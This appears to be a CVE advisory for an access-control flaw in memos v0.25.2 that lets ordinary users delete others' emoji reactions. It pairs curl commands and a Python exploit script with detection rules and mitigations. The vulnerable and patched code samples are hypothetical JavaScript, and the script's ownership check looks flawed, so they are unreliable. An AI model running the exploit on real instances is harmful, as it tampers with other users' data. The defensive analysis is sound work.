CVE-2025-65796

Executive Summary

CVE-2025-65796 is an Incorrect Access Control vulnerability in usememos/memos version v0.25.2. This flaw allows an attacker with low-level privileges (e.g., a standard user) to arbitrarily delete reactions (emoji reactions) that other users have added to Memos. The vulnerability stems from insufficient authorization checks on the reaction deletion endpoint, enabling a low-privileged user to send a crafted request to remove any reaction, regardless of ownership. This can lead to data integrity loss, user experience degradation, and potential social engineering attacks by removing evidence of community feedback.

Supply Chain & Package Security

This vulnerability affects the usememos/memos open-source project, which is distributed as a Docker image and via GitHub releases. There is no known compromise of the supply chain (e.g., malicious commits or backdoored packages). However, the lack of a patch at the time of analysis means that all deployments of v0.25.2 are vulnerable. Users should monitor the official repository for a patched release and consider temporary mitigations.

CVSS Breakdown & Threat Level

The CVSS score is 0.0 (unassigned). Based on the vulnerability characteristics, a reasonable assessment would be:

• Attack Vector (AV): Network (N) – the endpoint is accessible over HTTP.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker needs a valid low-privilege account.
• User Interaction (UI): None (N) – no victim interaction needed.
• Scope (S): Unchanged (U) – the vulnerable component is the same as the affected component.
• Confidentiality (C): None (N) – no data disclosure.
• Integrity (I): Low (L) – deletion of reactions affects data integrity.
• Availability (A): None (N) – no denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Estimated Score: 4.3 (Medium)

Threat Level: Medium – Exploitation is straightforward but requires authentication. The impact is limited to integrity loss of reaction data.

Deep Dive & Mechanics

The vulnerability exists in the reaction deletion API endpoint. In memos, users can add reactions (e.g., 👍, ❤️) to any Memo. The intended behavior is that only the user who created the reaction can delete it. However, due to missing or insufficient authorization checks, the server does not verify that the requesting user is the owner of the reaction before processing the deletion.

Root Cause: The backend code likely performs a database query to delete a reaction by its ID, but only checks if the reaction exists, not if the requesting user owns it. This allows an attacker to iterate through reaction IDs or guess them and delete reactions belonging to other users.

Attack Flow:

1. Attacker registers or logs in as a low-privileged user.
2. Attacker obtains a valid session token (e.g., via cookie or API key).
3. Attacker identifies the target Memo and its reaction IDs (e.g., by inspecting the web UI or API responses).
4. Attacker sends a DELETE request to /api/v1/reaction/{id} with the session token.
5. The server deletes the reaction without verifying ownership.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in the reaction deletion handler. A typical vulnerable implementation might look like:

// Vulnerable (v0.25.2)
app.delete('/api/v1/reaction/:id', async (req, res) => {
  const reactionId = req.params.id;
  // Missing ownership check
  await db.query('DELETE FROM reactions WHERE id = ?', [reactionId]);
  res.status(200).json({ message: 'Reaction deleted' });
});

A patched version would include an ownership check:

// Patched (hypothetical)
app.delete('/api/v1/reaction/:id', async (req, res) => {
  const reactionId = req.params.id;
  const userId = req.user.id; // from authentication middleware
  // Verify ownership
  const reaction = await db.query('SELECT * FROM reactions WHERE id = ? AND creator_id = ?', [reactionId, userId]);
  if (!reaction) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  await db.query('DELETE FROM reactions WHERE id = ?', [reactionId]);
  res.status(200).json({ message: 'Reaction deleted' });
});

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of memos v0.25.2 (e.g., Docker: neosmemo/memos:0.25.2).
• A low-privilege user account (e.g., attacker with password password).
• A target Memo with reactions from other users.

Exploitation Steps:

1. Login and obtain session token:

   curl -c cookies.txt -X POST https://target.memos/api/v1/auth/signin \
     -H "Content-Type: application/json" \
     -d '{"username":"attacker","password":"password"}'
   

2. List reactions on a target Memo (e.g., Memo ID 5):

   curl -b cookies.txt https://target.memos/api/v1/memo/5/reaction
   

   Response contains reaction IDs (e.g., [{"id": 101, "creator_id": 2, "reaction": "👍"}]).

3. Delete a reaction owned by another user (creator_id != attacker):

   curl -b cookies.txt -X DELETE https://target.memos/api/v1/reaction/101
   

   If successful, the reaction is removed.

Automated Exploit Script (Python):

import requests

target = "https://target.memos"
session = requests.Session()
session.post(f"{target}/api/v1/auth/signin", json={"username":"attacker","password":"password"})

# Get reactions for Memo 5
reactions = session.get(f"{target}/api/v1/memo/5/reaction").json()
for reaction in reactions:
    if reaction["creator_id"] != session.cookies.get("user_id"):  # not ours
        session.delete(f"{target}/api/v1/reaction/{reaction['id']}")
        print(f"Deleted reaction {reaction['id']}")

Blue Team (Detection & Defense)

Detection:

• Monitor API logs for DELETE requests to /api/v1/reaction/* from users who are not the original reaction creator.
• Alert on high frequency of reaction deletions from a single user.

Defense:

• Implement proper authorization checks on the server side (see patched code).
• Use rate limiting on the reaction deletion endpoint.
• Enable audit logging for all reaction modifications.

Indicators of Compromise (IOCs)

• Network: HTTP DELETE requests to /api/v1/reaction/{id} with a low-privilege session cookie.
• Logs: Server logs showing deletion of reactions where creator_id does not match the authenticated user.
• Behavioral: A single user account deleting multiple reactions across different Memos in a short time.

Detection Engineering

YARA Rule

rule CVE_2025_65796_Reaction_Delete {
    meta:
        description = "Detects exploitation attempts of CVE-2025-65796 in memos logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65796"
    strings:
        $delete_endpoint = "/api/v1/reaction/"
        $method_delete = "DELETE"
        $low_priv_user = "role: USER"  // adjust based on log format
    condition:
        $delete_endpoint and $method_delete and $low_priv_user
}

Sigma Rule

title: CVE-2025-65796 - Unauthorized Reaction Deletion in Memos
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects DELETE requests to /api/v1/reaction/ from low-privilege users
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: memos
detection:
    selection:
        http.method: "DELETE"
        http.url|startswith: "/api/v1/reaction/"
        user.role: "USER"  # adjust based on log field
    condition: selection
falsepositives:
    - Legitimate deletion of own reactions
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65796 - Potential Reaction Deletion Exploit"; flow:to_server; http.method; content:"DELETE"; http.uri; content:"/api/v1/reaction/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

• Disable the reaction feature temporarily via configuration or reverse proxy rules (e.g., block DELETE requests to /api/v1/reaction/).
• Restrict API access to trusted networks only.

Long-term Fix:

• Apply the official patch once released by the vendor.
• Implement server-side authorization checks as shown in the patched code example.
• Conduct a security audit of all API endpoints for similar access control issues.

Workaround:

• Use a Web Application Firewall (WAF) to block DELETE requests to the reaction endpoint from non-admin users.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert